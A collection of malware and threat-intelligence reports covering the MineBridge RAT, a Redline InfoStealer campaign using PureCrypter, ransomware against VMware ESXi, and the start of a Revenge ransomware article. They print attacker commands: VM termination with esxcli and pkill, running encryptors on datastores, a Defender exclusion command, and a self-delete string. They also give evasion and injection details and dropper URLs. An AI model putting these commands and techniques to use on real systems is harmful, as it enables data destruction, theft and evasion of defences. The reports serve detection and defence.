implicitly, and hence, the malicious code inside `DllRegisterServer` export gets executed. Interestingly, the check at the very beginning of the code inside `DllRegisterServer` export verifies that the process name is `regsvr32.exe` and only then executes the code further. ## Zscaler Cloud Sandbox Report In addition to sandbox detections, Zscaler’s multilayered cloud security platform detects indicators at various levels. ## MITRE ATT&CK TTP Mapping | ID | Tactic | Technique | |----------------|------------------------------------|-----------| | T1566.001 | Spearphishing Attachment | Uses doc based attachments with VBA macro | | T1204.002 | User Execution: Malicious File | User opens the document file and enables the VBA macro | | T1547.001 | Registry Run Keys / Startup Folder | Creates LNK file in the startup folder for payload execution | | T1140 | Deobfuscate/Decode Files or Information | Strings and other data are obfuscated in the payloads | | T1036.005 | Masquerading: Match Legitimate Name or Location | File name used similar to legit Windows Defender binary | | T1027.002 | Obfuscated Files or Information: Software Packing | Payloads are packed in layers | | T1574.002 | Hijack Execution Flow: DLL Side-Loading | Uses legit TeamViewer binary with dll-side loading vulnerability | | T1218 | Signed Binary Proxy Execution | Uses finger.exe for encoded payload download and certutil.exe to decode the payload | | T1056.002 | Input Capture: GUI Input Capture | Captures TeamViewer generated UsedID and Password by hooking GUI APIs | | T1057 | Process Discovery | Verifies the name of parent process | | T1082 | System Information Discovery | Gathers system OS version info | | T1033 | System Owner/User Discovery | Gathers currently logged in Username | | T1071.001 | Application Layer Protocol: Web Protocols | Uses https for C&C communication | | T1041 | Exfiltration Over C&C Channel | Data is exfiltrated using existing C2 channel | ## Indicators of Compromise **Document hashes:** - `f95643710018c437754b8a11cc943348` - `41c8f361278188b77f96c868861c111e` **Filenames:** - MarisaCV.doc - RicardoITCV.doc **Binary hashes:** - `73b7b416d3e5b1ed0aa49bda20f7729a` [SFX Archive] - `d12c80de0cf5459d96dfca4924f65144` [msi.dll] - `59876020bb9b99e9de93f1dd2b14c7e7` [UPX packed MineBridge RAT] - `23edc18075533a4bb79b7c4ef71ff314` [Unpacked MineBridge RAT] **C&C domains:** - billionaireshore.top - vikingsofnorth.top - realityarchitector.top - gentlebouncer.top - brainassault.top - greatersky.top - unicornhub.top - corporatelover.top - bloggersglobbers.top **Network paths:** - `/~4387gfoyusfh_gut/~3fog467wugrgfgd43r9.bin` - `/~8f3g4yogufey8g7yfg/~dfb375y8ufg34gfyu.bin` - `/~munhgy8fw6egydubh/9gh3yrubhdkgfby43.php` **User-agent:** ``` "Mozilla/5.0 (iPhone; CPU iPhone OS 11_1_1 like Mac OS X) AppleWebKit/604.3.5 (KHTML, like Gecko) Version/11.0 Mobile/15B150 Safari/604.1" ``` **Downloaded files:** - `%temp%/~f834ygf8yrubgfy4sd23.bin` - `%temp%/~t62btc7rbg763vbywgr6734.bin` - `%appdata%\vUCooUr1` - `%appdata%\vUCooUr.exe` - `%programdata%\Local Tempary\defrender.exe` - `%programdata%\Local Tempary\msi.dll` - `%programdata%\Local Tempary\TeamViewer_Desktop.exe` - `%programdata%\Local Tempary\TeamViewer_Resource_en.dll` - `%programdata%\Local Tempary\TeamViewer_StaticRes.dll` - `{STARTUP}\Windows Logon.lnk` **Exfiltrated user and system info:** ``` uuid=%s&id=%s&pass=%s&username=%s&pcname=%s&osver=%s&timeout=%d ``` **Field name purpose:** - uuid: BOT-ID of the user - id: TeamViewer ID of the user - pass: TeamViewer password - username: Currently logged in user name - pcname: Name of the computer - osver: Operating system version - timeout: Timeout between requests
# Fake Cracked Software Caught Peddling Redline Stealers ## Executive Summary Qualys Threat Research continues our efforts to identify and document previously unseen adversary activity to better understand their tactics, techniques, and procedures (TTPs) and defend against them. As a result of this endeavour, we identified a new Redline InfoStealer campaign that spreads via fake cracked software hosted on Discord’s content delivery network (CDN). The campaign was actively observed from the end of January to March 2022 and utilized commercial malware families. This makes attribution particularly difficult due to overlap in IOCs and TTPs. The main objective of this campaign was to acquire Redline logs for monetary gain. In this whitepaper, we dissect the entire campaign in-depth and delve into underground markets to examine the complexity and replicability of the overall flow. ## Key Research Findings - Zip archives with fake cracked software that ultimately deployed Redline - URL shorteners and fake sites that redirected victims to zip archives hosted on Discord’s CDN - Archive contained simple loaders for PureCrypter with a hijacked certificate from Exodus Movement Inc - PureCrypter injection module was used to deploy Redline InfoStealer ## Inside the Malware-as-a-Service Industry We will describe the various commercial malware that were part of the campaign in this section. At Qualys, we use the term “Simple Loader” to refer to a large group of samples that use MSIL stub codes to perform download and execution of second stage payloads. They also contain multiple junk functions from legitimate applications. Due to the large number of samples that have been observed using this technique, it is highly likely that multiple tools have emerged that build these stubs. These stub loaders are often observed in commercial malware campaigns. PureCrypter is a commercial tool for obfuscation, evasion, and injection that is often sold on hacking forums. PureCrypter claims that it is ‘fully undetected’ (FUD) and offers a variety of features from evasion checks, exclusion additions, multiple injection techniques, multiple persistence methods, etc. PureCrypter has multiple pricing packages and costs $59 for 30 days. The team also has other projects for sale such as miners, RATs, worms, and more. Redline Stealer is a commercially available infostealer that is sold on underground markets. Translating these advertisements on its official market and support channels revealed an impressive list of features: - Grab logins and passwords - Grab cookies - Grab autofill data - Grab credit cards - Files from file grabbers - Grab FTP/IM client data - Create/edit tasks - Download a file via direct links - Inject a 32-bit PE file - Download and execute PE - Open link in default browser - Grab system information - Grab data from browsers - Various log sorters to sift through acquired data and grab interesting data - Cloning certificates - Built in builder with parameters - Blacklist countries where the stealer won’t work - Crypto scanner - Creating a loader with embedded links - Check AV detections using Dyncheck The prices for Redline’s subscription at the time of publication was about $150 per month. The standalone pro version costs about $800 and includes free lifetime updates and support. We even observed a user asking for help in building a Redline panel who was then directed to customer support. The market also has various sellers advertising: - Manuals on various topics such as hosting your own stealer, SEO for fake sites with cracked software, carding, etc. - Redline logs - Credentials for popular sites such as AOL, Yahoo, Amazon, etc. - RDP access - Offers to buy web shells - Escrow services - Banking details such as card details, ATM pins, credentials etc. - SMS and mail senders Members also posted specific requests such as country-specific site access, Coinbase accounts, gift cards, and other inquiries. This highlights how organized the Redline market is. It was surprising to observe the commercialization and mature organizational structure of the malware-as-a-service industry. In the next section, we will review the entire campaign flow in depth. ## Technical Analysis of Redline InfoStealer Campaign ### Archive Analysis We identified several zip files that contained droppers for Redline InfoStealers. The zips were named after popular software that were thematically spread across NFTs, games, editing, and installers. There were several indicators that pointed to these zip files being authored by the same tool or adversary. The folder structures, obfuscation used, contacted IPs, dropping methodology, and other indicators were all identical. The hackers tried to lend an air of legitimacy to the setup binary (simple loader) by bundling decoy files, icons, and resources from legitimate applications. They also used a hijacked certificate from Exodus Movement Inc., a crypto wallet application. However, the sample 06f65e5d32f58944fe0a50f12d8eb5c4 did not have this certificate and was unsigned. We are unclear on whether this was a mistake on the attacker’s part or not. An interesting example of the customization per sample was observed by dumping the manifest of the binary, whereby the theme of the sample was maintained. The dropper binaries also had large sections of padding to avoid automated analysis with size limits. The zip files were hosted via Discord attachments. At times, the attackers used a URL shortening service that ultimately resolved to the Discord attachment. Discord URLs are public by default without any access control. There has been a steady increase in Discord CDN abuses and other vendors have also documented such attacks. The full list of identified URLs and their redirects are listed under the IOC section at the end of this paper. ### Simple Loader Analysis Interestingly, all the droppers identified were functionally the same yet have varying degrees of obfuscation and complexity. Some notable obfuscation techniques are listed in the table below. It is unclear exactly which obfuscator was used on these simple loaders. | OBFUSCATION | DESCRIPTION | OBSERVED SAMPLES | |------------------------------|-----------------------------------------------------------------------------|----------------------------------------------------------------------------------| | Reflective method calls | Sample uses static method, reflection, and byte arrays to dynamically map methods. | 7f6de92ece5a366cc15af5574701fe98, 1c8112b8e1f13ca4129cae22f3387d47, 06f65e5d32f58944fe0a50f12d8eb5c4, 771a4fea6f33eac0771b108e8933703a | | Embedded command | Sample uses hex encoded string bytes that are xored and/or text replaced. | 06f65e5d32f58944fe0a50f12d8eb5c4, 154bda18ddf65e3d79caa9abeb7c4468 | | Overloaded methods | Overloading methods and using an array with a variable to define which method is called. | a90d58052bcacd0194d1dfc0dd9d7929 | | Hashed method names | Sample uses the embedded command obfuscation technique with hashed method names to obfuscate flow. | 154bda18ddf65e3d79caa9abeb7c4468 | The dropper first created a new PowerShell process to pause the program. The encoded command decoded to `cmd /c timeout 21`. Another variant used the command which decodes to `Start-Sleep -s 20`. The next step was to connect to the IP 81.4.105.174 to download the PureCrypter injector which had Redline Stealer embedded as a resource. The URL typically followed the format of: `Protocol:ip/.Net AssemblyName.extension`. The file extension used here was typically .jpg, .png or .log to make the URL seem innocuous. The full list of URLs can be found in the IOC section. We have also created a VT graph to highlight similar URLs and the communicating samples. The downloaded content was in reverse order and thus, the bytes were reversed before execution. Execution of the next stage payload was achieved by loading the dropped dll and calling its method to pass execution. This was functionally similar in all observed samples. ### PureCrypter Analysis We are certain that the second stage payload was obfuscated PureCrypter instances. We were able to identify two samples that were packed with SmartAssembly and were able to unpack them. SmartAssembly encrypts strings that the sample used and thus we needed to decrypt them. The way SmartAssembly does this is by replacing the string with a call to a getString(int) function call that is delegated at runtime. This function xors the integer value with a key and subtracts the offset to retrieve the encoded string stored in a resource file. The strings are stored in the format LengthBase64EncodedString. The decoded strings for this sample can be found in the Appendix. The decoding routine is heavily used at the start of the sample to import functions. Other variants have resource files with a {z} header followed by a switch that determines the kind of decryption or decompression to be done. This ultimately results in strings stored in the same LengthBase64EncodedString format. The sample started by extracting its settings from a hardcoded byte array that was reversed, decompressed, unserialized, and casted to a protobuf structure. The settings schema is shown below. This sample is primarily used for injecting Redline. However, we redirected execution to different Modules to fully explore PureCrypter’s capabilities. ### Delay Module The Delay module checked whether the setting IsDelay is enabled and goes into an infinite loop with periodic sleeps of 1000 milliseconds until the Delay variable is set to 0. This module is probably used as a means of evading automated analysis by timing them out. ### Exclusion Module The Exclusion module is used to add an exclusion to defender for the root drive from which the process is executed. The module initially checked whether StartupSettings is enabled. If it is, it verified that the current executing process’s ImagePath matches the file path as defined in its settings. The module exits if this check fails. The Module skips this check if StartupSettings is disabled. The module then performed a check for whether the current process has admin privileges and restarted itself if it didn’t. This command included the verb runas to execute with admin privileges. The user thinks he is installing a cracked application and so the UAC prompt does not raise any suspicion. The sample then closed the Mutex (Hejrqayc) if it is created to avoid interference with the elevated process before killing itself. The module then retrieved the drive name from the file path. It prepended the string `Set-MpPreference -ExclusionPath` and Base64 encoded it. The module then started a new PowerShell process with the Base64 encoded command line and waited for it to exit. ### Fake Message Module The Fake Message module displayed a message box, possibly to dissuade user suspicions. This module started by performing the same StartupSettings check as the Exclusion module. The module also performed an additional check to verify whether the sample started from one of the special folders. If any check failed, the module exits. The module then displayed a message box with the description and message box type retrieved from its settings and the title retrieved from the embedded resource (NULL, therefore the title is Error). ### Debugger/Sandbox Check Module The Debugger/Sandbox module performed multiple checks to identify an analysis environment. The first check is for the presence of a debugger by using `CheckRemoteDebuggerPresent` and by enumerating loaded modules to identify `SbieDll.dll`. The module checked the output of WMI queries to identify a virtual or sandbox environment. If any of these failed, the sample started a clean-up operation by using PowerShell to delete itself from disk, closing its mutex, and exiting. ### Discord Module The Discord module is used to collect information about the current system and upload it to a URL specified in settings. The following details about the current environment are collected and sent via a POST request. - USERNAME - content: :loudspeaker: *NEW EXECUTION* - :one: **User** = <username> - :two: **Date UTC** = <UTC Time> - :three: **File** = <File Name> This appears to be an initial call back to register the victim to a C2 server. ### Binder Module The Binder module decompressed the embedded byte array payload, wrote it to temp, and executed it via another dropped vbs file with a randomly generated name based on a randomly picked file or directory. We did not have the byte array payload to explore this further. ### StartUp Module The StartUp module is used to set up delayed execution of the PureCrypter payload based on a variety of registry-related persistence techniques. The module started by dropping PureCrypter in the same directory as the loader and then killing the running loader. The module then establishes persistence based on the value of EnumStartup. Therefore, PureCrypter can establish persistence via: - Run keys - Explorer User Shell Folder and Shell Folders - Winlogon ### Injection Module The final module – and the one for which our sample is configured – is the Injection module. This module essentially has three different techniques to decode an embedded resource payload and inject it into a running process. The first technique reversed the resource, Gunziped it, loaded it via `Assembly.Load` and invoked its entrypoint. The second technique reversed the resource, Gunziped it, wrote it to the current processes memory, and then passed control over to it. The final method also reversed and Gunziped the embedded resource. It then checked the file to inject into by checking the .NET runtime directory appended with the InjectionPath setting string. If that file did not exist, the module injected into a currently running process by enumerating all processes to find a target. After identifying a likely injection target and acquiring a handle to it, the module enumerated its loaded modules to check if they have sufficient size for the injection payload. This occurs till a target is found. The module then tried to write the injection payload into the process at the identified loaded module address and passed control over to it. The injected payload is Redline InfoStealer. ## Redline Stealer Analysis Redline started with the following hardcoded arguments. - IP: 193.203.203.82:23108 - ID: B1 - Message: “” - Key: Oscular - Version: 2 193.203.203.82 is a known Command and Control (CnC) Panel that has been active since as far back as September 2021. It has also been identified as part of other Redline attributed activity. Redline started by displaying an error message box with the contents of the Message argument in a new thread. It then attempted to connect to the CnC server over TCP every 5 seconds. Once the connection is established, Redline attempted to poll the server every second to retrieve its settings. It then sent the ID and the version to the CnC server to register itself and retrieved its tasks. These define which module is to be executed. Redline also had an update method to update command lines, tasks and download and execute a patch. We will briefly go over some of the more interesting Redline modules which highlight its capabilities. | MODULE NAME | DESCRIPTION | |--------------------------------------|-----------------------------------------------------------------------------| | CryptoHelper | Routines for Aes, hashing and other cryptographic methods | | AllWallets | Collects crypto wallets by scanning directories with keywords related to wallets | | BrEx | Collects login data, cookies, form data, extension details from browser paths | | ConfigReader | Collects directory structure of a given directory or drive | | DataBaseConnectionHandler | Collects data from identified SQL databases | | DesktopMessanger | Collects data from Telegram desktop | | Discord | Collects logs, tokens etc. from Discord desktop | | FileExt | Reads specified file | | FileSearcher | Performs searches to find files | | FileScanning | Performs searches to find directories | | FileZilla | Collects Filezilla related data such as credentials, recent files etc. | | FullInfoSender | Collects processor details, graphic card details, RAM details, browser details, installed programs, antivirus details, running processes, installed languages, output from all modules, username, Windows version, current language, execution location, serial number and current time zone | | GameLauncher | Collects data from Steam launcher | | g_E_c_k_0 | Collects data from browsers using Gecko engine | | NordApp | Collects Nord VPN related data. | | OpenVPN | Collects Open VPN related data. | | РrоtoнVРN | Collects Proton VPN related data. | Most of the data collection modules are functionally similar with arguments to a file scanner interface that defines the location and the data that should be stolen. Modules also implement targeted application-specific functions to extract interesting data such as credentials, form fields, VPN configs, and more. ## Conclusion Redline has become one of the most widely used infostealers due to its wide range of capabilities and a thriving structured underground MaaS market. It was fascinating to observe the flow of an entire campaign from obfuscated loaders loading SmartAssembly and PureCrypter injectors that in the end injected Redline to steal data from infected machines. Adversaries have continued their usage of legitimate services to host their payloads and defenders need to account for it. Existing security detections that identify data collection will trigger due to Redline activity. ## ATT&CK Mapping - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder T1547.001 - Non-Application Layer Protocol T1095 - Non-Standard Port T1571 - Credentials from Password Stores T1555 - Automated Collection T1119 - Data from Local System T1005 - Process Injection T1055 - Command and Scripting Interpreter: Visual Basic T1059.005 - Indicator Removal on Host: File Deletion T1070.004 - Virtualization/Sandbox Evasion T1497 - Impair Defenses: Disable or Modify Tools T1562.001 - Windows Management Instrumentation T1047 ## Appendix | LEN (DEC) | DECODED STRING | |-----------|---------------------------------------------------------------------------------| | 4 | ' | | 4 | ,' | | 44 | Set-MpPreference -ExclusionPath | | 12 | kernel32 | | 24 | UmV@zdW1l@VGhyZWFk -> ResumeThread | | 40 | V293NjRT@ZXRUaHJlYWRDb250ZXh0 -> Wow64SetThreadContex | | 36 | U2V0@VGhyZ@WFkQ29udGV4dA== -> SetThreadContext | | 36 | R2@V0VGhyZWFkQ@29udGV4dA== -> GetThreadContext | | 32 | VmlydHVh@bEFsbG9@jRXg= -> VirtualAllocEx | | 36 | V3JpdGVQcm9j@ZXNzT@WVtb3J5 -> WriteProcessMemory | | 08 | ntdll | | 40 | WndVbm1h@cFZpZXd@PZlNlY3Rpb24= -> ZwUnmapViewOfSection | | 40 | Q3JlY@XRlU@HJvY2Vzc0E= -> CreateProcessA | | 24 | Q2xv@c2VI@YW5kbGU= -> CloseHandle | | 36 | Um@VhZFByb2N@lc3NNZW1vcnk= -> ReadProcessMemory | | 04 | @ | | 04 | 032E02 (hex representation) / NULL | | 12 | Nbehtoiv | | 16 | Powershell | | 08 | -enc | | 08 | .vbs | | 52 | CreateObject("WScript.Shell").Run """ | | 20 | """, 1, False | | 88 | Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders | | 12 | Startup | | 92 | Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders | | 92 | %USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\ | | 72 | Software\Microsoft\Windows NT\CurrentVersion\Winlogon | | 08 | Shell | | 20 | explorer.exe," | | 04 | “ | | 64 | Software\Microsoft\Windows\CurrentVersion\Run\ | | 04 | " | | 08 | .exe | | 04 | 20 (hex) | | 12 | ToInt32 | | 52 | - (Windows|Microsoft) Internet Explorer | | 12 | iexplore | | 52 | Start-Sleep -s 10; Remove-Item -Path " | | 12 | " -Force | | 16 | powershell | | 04 | cmd | | 20 | /k START "" " | | 12 | " & EXIT | | 08 | runas | | LEN (DEC) | DECODED STRING | |-----------|---------------------------------------------------------------------------------| | 04 | . | | 16 | SbieDll.dll | | 08 | john | | 08 | anna | | 12 | xxxxxxxx | | 32 | select * from Win32_BIOS | | 40 | Unexpected WMI query failure | | 12 | version | | 16 | SerialNumber | | 32 | VMware|VIRTUAL|A M I|Xen | | 48 | select * from Win32_ComputerSystem | | 16 | manufacturer | | 08 | model | | 32 | Microsoft|VMWare|Virtual | | 12 | username | | 16 | PureCrypter | | 12 | content | | 68 | :loudspeaker: *NEW EXECUTION* | | | :one: **User** = | | | :two: **Date UTC** = | | | :three: **File** = | | 04 | 20 0D 0A (hex) | \r\n | | 04 | x2 | | 16 | .compressed | | 12 | costura | | 40 | costura.costura.dll.compressed | | 16 | protobuf-net | | 48 | costura.protobuf-net.dll.compressed | ## IOCs ### Discord Attachment URLs - https://cdn.discordapp.com/attachments/928009932928856097/936319550855716884/Windows11InstallationAssistant.zip - http://cdn.discordapp.com/attachments/928009932928856097/936319550855716884/Windows11InstallationAssistant.zip - https://cdn.discordapp.com/attachments/934931217160212483/936418434353352734/Adobe_Premiere_Pro_2022.zip - https://cutt.ly/JOutnwm -> https://cdn.discordapp.com/attachments/934931217160212483/936418434353352734/Adobe_Premiere_Pro_2022.zip - https://adobepremierpro.tiny.us/download -> https://cdn.discordapp.com/attachments/630849870097416212/937402126634717214/Premier_Pro_Crack_Installer_v22.1.1.zip - https://cdn.discordapp.com/attachments/630849870097416212/937402126634717214/Premier_Pro_Crack_Installer_v22.1.1.zip - https://cdn.discordapp.com/attachments/630857695402131498/939484341749309560/Premiere_Pro_Crack_Installer_v22.1.1.zip - https://adobepremierepro.tiny.us/download -> https://cdn.discordapp.com/attachments/630857695402131498/939484341749309560/Premiere_Pro_Crack_Installer_v22.1.1.zip - http://gg.gg/xqbt3 -> https://cdn.discordapp.com/attachments/904314549568675903/936336280999051315/Installer.zip - https://cdn.discordapp.com/attachments/904314549568675903/936336280999051315/Installer.zip - https://best-plugins.tiny.us/autotunepro -> https://cdn.discordapp.com/attachments/630849870097416212/936622136003538984/Setup_Auto-Tune_Pro_v9.1.0.zip - https://sonyvegaspro.tiny.us/download -> https://cdn.discordapp.com/attachments/630857695402131498/940285843447353374/MAGIX.Vegas.Pro.v19.0.458.zip - https://expres-v.com/download/Installer.zip ### Dropper URLs | DROPPER | URL | DROPPED SAMPLE | |------------------------------------------------|-------------------------------------------------|--------------------------------------------------| | 06f65e5d32f58944fe0a50f12d8eb5c4 | http://81.4.105.174/Epujhn.jpg | d3ca123f9e81ad8f8e8ae4cc3803f590 | | 1c8112b8e1f13ca4129cae22f3387d47 | http://81.4.105.174/Bkcmvj.jpg | 7aeac72fd0ef3b77e8c6bf0212bc99dd | | 154bda18ddf65e3d79caa9abeb7c4468 | http://81.4.105.174/Mujov.log | bd0592b2c25c38a7cf353095cc97bdc8 | | a90d58052bcacd0194d1dfc0dd9d7929 | http://81.4.105.174/AdobeFile.log | 701f36ba3ecdc890710413ed7a26861d | | 7f6de92ece5a366cc15af5574701fe98 | http://81.4.105.174/Ipqtn.jpg | dc815147f7fe11d08d7d64213f9032e7 | | 5acd1037872f39b9034707ae3618f3a3 | http://81.4.105.174/Jiupcw.png | bf285233dc836f62bc82a209c5dab48b | | 771a4fea6f33eac0771b108e8933703a | http://81.4.105.174//win11.jpg | 6dfa84ac778aa418adcb649651d17ccd | ### Dropper Samples | NAME | HASH | |-----------------------------------------------------------------------------|-------------------------------------------| | Windows11InstallationAssistant.exe | 771a4fea6f33eac0771b108e8933703a | | Setup Auto-Tune Pro v9.1.0.exe, Premier Pro Crack Installer | 7f6de92ece5a366cc15af5574701fe98 | | v22.1.1.exe, Premiere Pro Crack Installer v22.1.1.exe, NEXUS INSTALLER.exe | a90d58052bcacd0194d1dfc0dd9d7929 | | Installer.exe | 06f65e5d32f58944fe0a50f12d8eb5c4 | | InstallerZnanoz.exe | 5acd1037872f39b9034707ae3618f3a3 | | Eye-Saver-Setup.exe | 154bda18ddf65e3d79caa9abeb7c4468 | | Dinox_installer.exe | 1c8112b8e1f13ca4129cae22f3387d47 | ### Redline CnC IP - 193.203.203.82:23108 ### Redline InfoStealer - c827633ffacf2424112957e2ba523909 ## About Qualys Qualys, Inc. (NASDAQ: QLYS) is a pioneer and leading provider of disruptive cloud-based Security, Compliance and IT solutions with more than 10,000 subscription customers worldwide, including a majority of the Forbes Global 100 and Fortune 100. Qualys helps organizations streamline and automate their security and compliance solutions onto a single platform for greater agility, better business outcomes, and substantial cost savings. Qualys, Qualys VMDR® and the Qualys logo are proprietary trademarks of Qualys, Inc. All other products or names may be trademarks of their respective companies. For more information, please visit qualys.com.
# Hypervisor Jackpotting, Part 2: eCrime Actors Increase Targeting of ESXi Servers with Ransomware Michael Dawson August 30, 2021 CrowdStrike has observed a significant increase in eCrime actors targeting VMware ESXi hypervisors with ransomware since our February 2021 blog post on Hypervisor Jackpotting. Many of these adversaries share common tradecraft such as gaining interactive access via SSH, listing and terminating running VM processes prior to encryption, and targeting the `vmfs/volumes` datastore path to encrypt disk volumes and snapshots. Several defensive controls, listed later in this blog, should be implemented to mitigate the success or impact of hypervisor jackpotting. In February 2021, CrowdStrike blogged about Hypervisor Jackpotting, a technique that involves targeting VMware ESXi hypervisors with ransomware to increase the scope of impact. CrowdStrike noted that two big game hunting (BGH) adversaries, CARBON SPIDER and SPRITE SPIDER, were observed utilizing this technique with their respective ransomware variants, Darkside and Defray777. Since then, CrowdStrike has observed a significant uptrend in hypervisor jackpotting by other adversaries, including PINCHY SPIDER and VIKING SPIDER. In this blog, we overview each new campaign CrowdStrike has observed targeting ESXi systems and detail defensive controls that can be implemented to protect these critical assets. ## Babuk Locker In March 2021, operators of Babuk Locker ransomware offered access to an ESXi variant as part of a sought-out partnership opportunity. In May 2021, CrowdStrike Services observed a victim targeted with this ESXi variant. The ransomware appends the file extension `.babyk_esxi` to files it encrypts and creates a ransom note named `How To Restore Your Files.txt`. The ransom note contains two URLs: a victim-specific .onion URL for communications, and one for the Babuk Locker dedicated leak site (DLS). ## FERAL SPIDER and DeathKitty Since March 2021, FERAL SPIDER, the developers and operators of DeathKitty (aka HelloKitty) ransomware, added functionality to terminate and encrypt virtual machines running on a VMware ESXi hypervisor. If VMware ESXi targeting is enabled (`-e` option), the ransomware will only encrypt file extensions related to disk volumes and snapshots: `.vmdk`, `.vmsd`, and `.vmsn`. When executed with the `-k` argument, the ransomware will terminate all running virtual machines using VMware ESXi’s command-line administration utility (`esxcli`) prior to beginning the encryption process. ## CYBORG SPIDER and Pysa Since May 2021, CYBORG SPIDER, the developers and operators of Pysa ransomware, have targeted ESXi servers for encryption. After compromising an environment, CYBORG SPIDER operators move laterally to the hypervisors via HTTPS using the native ESXi root account, where they enable SSH for a remote shell. The operators then use PuTTY and WinSCP to copy the ransomware to the `/tmp` directory and execute the commands shown in Table 1. | Command | Description | |--------------------------------------------------|------------------------------------------------------| | `python --version` | Check version of Python installed | | `cd /tmp/` | Change to /tmp/ directory | | `chmod +x <FILENAME>` | Add execute permission to Pysa script | | `./<FILENAME> /vmfs/volumes 4096` | Execute Pysa against the VM datastore path | CrowdStrike observed multiple cases in which the Pysa ransomware script was tailored for the version of Python installed on the ESXi, with Pysa filenames `27` and `3` noted as highly likely to correspond with Python v2.7 or v3.x. The ransomware also appends the file extension `.pysa` to files it encrypts and creates a ransom note named `RECOVER_YOUR_DATA.txt` at the root (`/`) of the volume. The ransom note provides two email addresses, hosted on OnionMail and ProtonMail, for communications and includes Pysa’s DLS .onion domain. ## PINCHY SPIDER and REvix Since June 2021, PINCHY SPIDER has distributed a Linux ransomware variant named REvix to target ESXi systems. The ELF binary uses the same encryption algorithm as PINCHY SPIDER’s Windows REvil ransomware. The ransomware contains a JSON configuration block that specifies the ransom note filename and encrypted file extension to use. For example, in a sample of REvix v1.1c, the ransomware was configured to append the file extension `.rhkrc` to encrypted files and use the name `rhkrc-readme.txt` as the ransom note. By default, the ransomware will encrypt only the current directory and requires the `--path` option to specify the target folder (e.g., `/vmfs/`), which is then recursively enumerated. Prior to encryption, the ransomware executes the commands shown in Table 2. | Command | Description | |-----------------------------------------------------------------------|------------------------------------------------------| | `pkill -9 vmx-*` | Terminate any processes named vmx-* | | `esxcli --formatter=csv --format-param=fields=="WorldID,DisplayName" vm process list | List the running VMs on this system and force terminate each VM based on the enumerated list of World IDs` | In July 2021, PINCHY SPIDER began distributing REvix v1.2a, which added execution of VM termination functionality within a separate thread and support for additional encryption types. In mid-July 2021, PINCHY SPIDER’s DLS infrastructure went offline, leaving in question the future of these operations. ## VIKING SPIDER and Ragnar Locker Since June 2021, VIKING SPIDER has deployed Ragnar Locker’s ELF binary to ESXi systems via SSH using the native root account. VIKING SPIDER copies the binary to the `/tmp` directory and issues the commands shown in Table 3. | Command | Description | |--------------------------------------------|------------------------------------------------------| | `uname -a` | Print all system information | | `esxcli system version get` | Display the product name, version and build information | | `esxcli system hostname get` | Display the fully qualified hostname of the ESXi host | | `esxcli system account list` | List local user accounts | | `esxcli --formatter=csv vm process list` | List the running VMs on this system | | `esxcli vm process kill -w <WID> -t soft` | Perform a “soft” kill (clean shutdown) of the VM associated with the given World ID | | `esxcli --formatter=csv vm process list` | List the running VMs on this system (again) to confirm they are all shutdown | | `find /vmfs/volumes/ -type f -name "*.vmdk"` | Search for all virtual disk files within the VM datastore path | | `chmod a+x /tmp/<FILENAME>` | Add execute permission to Ragnar Locker binary | | `/tmp/<FILENAME> /vmfs/volumes/<UUID>/` | Execute Ragnar Locker against the VM datastore path | | `ps | grep <FILENAME>` | Ensure Ragnar Locker process is running | The ransomware appends the file extension `.crypted` to files it encrypts and creates a ransom note per encrypted file using the original filename appended with the extension `.crypted.README_TO_RESTORE`. The ransom note includes a unique victim URL for live chat communications via Tor, as well as VIKING SPIDER’s dedicated leak site (DLS) .onion domain. ## How to Protect Your Cluster Listed below are CrowdStrike’s top five recommendations that organizations should implement to mitigate the success or impact of hypervisor jackpotting. 1. Avoid direct access to ESXi hosts. Use the vSphere Client to administer ESXi hosts that are managed by a vCenter Server. Do not access managed hosts directly with the VMware Host Client, and do not change managed hosts from the Direct Console User Interface (DCUI). (Note: This is a VMware-specific recommendation.) 2. If direct access to an ESXi host is necessary, use a hardened jump server with multifactor authentication. ESXi DCUI access should be limited to a jump server used for only administrative or privileged purposes with full auditing capabilities and multifactor authentication (MFA) enabled. 3. Ensure vCenter is not exposed to the internet over SSH or HTTP. CrowdStrike has observed adversaries gaining initial access to vCenter using valid accounts or exploiting remote code execution (RCE) vulnerabilities (e.g., CVE-2021-21985). Although these vulnerabilities have been addressed by VMware, these services should not be exposed to the internet to mitigate risk. 4. Ensure ESXi datastore volumes are regularly backed up. Specifically, virtual machine disk images and snapshots should be backed up daily (more frequently if possible) to an offsite storage provider. 5. If encryption activity is observed, do not shut down the ESXi hosts. If encryption activity is observed, system administrators may be tempted to reboot or shutdown VMs. Be aware that ransomware is not able to modify locked files, and if a VM is still powered on, it will be considered locked. As a result, shutting down or rebooting VMs will actually release the lock and allow the ransomware to encrypt the virtual disk files. ## Conclusion CrowdStrike has observed a significant uptrend in eCrime campaigns targeting VMware ESXi hypervisors with ransomware to maximize encryption impact across a victim environment. This targeting modus operandi is becoming prevalent, with adversaries developing and deploying ESXi ransomware variants, and in some cases seeking partnership opportunities with other operators or access brokers. CrowdStrike recommends that organizations review their ESXi security posture and implement the specific defensive controls outlined in this blog to protect these critical assets.
# Revenge Ransomware, a CryptoMix Variant, Being Distributed by RIG Exploit Kit By Lawrence Abrams March 15, 2017 A new CryptoMix, or CryptFile2, variant called Revenge has been discovered by Broad Analysis that is being distributed via the RIG exploit kit. This variant contains many similarities to its predecessor CryptoShield, which is another CryptoMix variant, but includes some minor changes that are described below. As a note, in this article I will be referring to this infection as the Revenge Ransomware as that will most likely be how the victims refer to it. It is important to remember, though, that this ransomware is not a brand new infection, but rather a new version of the CryptoMix ransomware family. ## How Victims Become Infected with the Revenge Ransomware Both BroadAnalysis.com and Brad Duncan, of Malware-Traffic-Analysis.net, have seen Revenge being distributed through websites that have been hacked so that the RIG Exploit Kit javascript is added to pages on the site. When someone visits one of these hacked sites, they will encounter the exploit kit, which will then try to exploit vulnerabilities in their computer in order to install the Revenge Ransomware without their knowledge or permission. ## How the Revenge Ransomware Encrypts a Victim's Files Once the ransomware executable is downloaded and executed on the victim's computer, it will generate a unique 16 hexadecimal character ID for the victim. It will then terminate the following database related processes so it has full access to the databases in order to encrypt them: msftesql.exe, sqlagent.exe, sqlbrowser.exe, sqlservr.exe, sqlwriter.exe, oracle.exe, ocssd.exe, dbsnmp.exe, synctime.exe, mydesktopqos.exe, agntsvc.exe, isqlplussvc.exe, xfssvccon.exe, mydesktopservice.exe, ocautoupds.exe, agntsvc.exe, encsvc.exe, 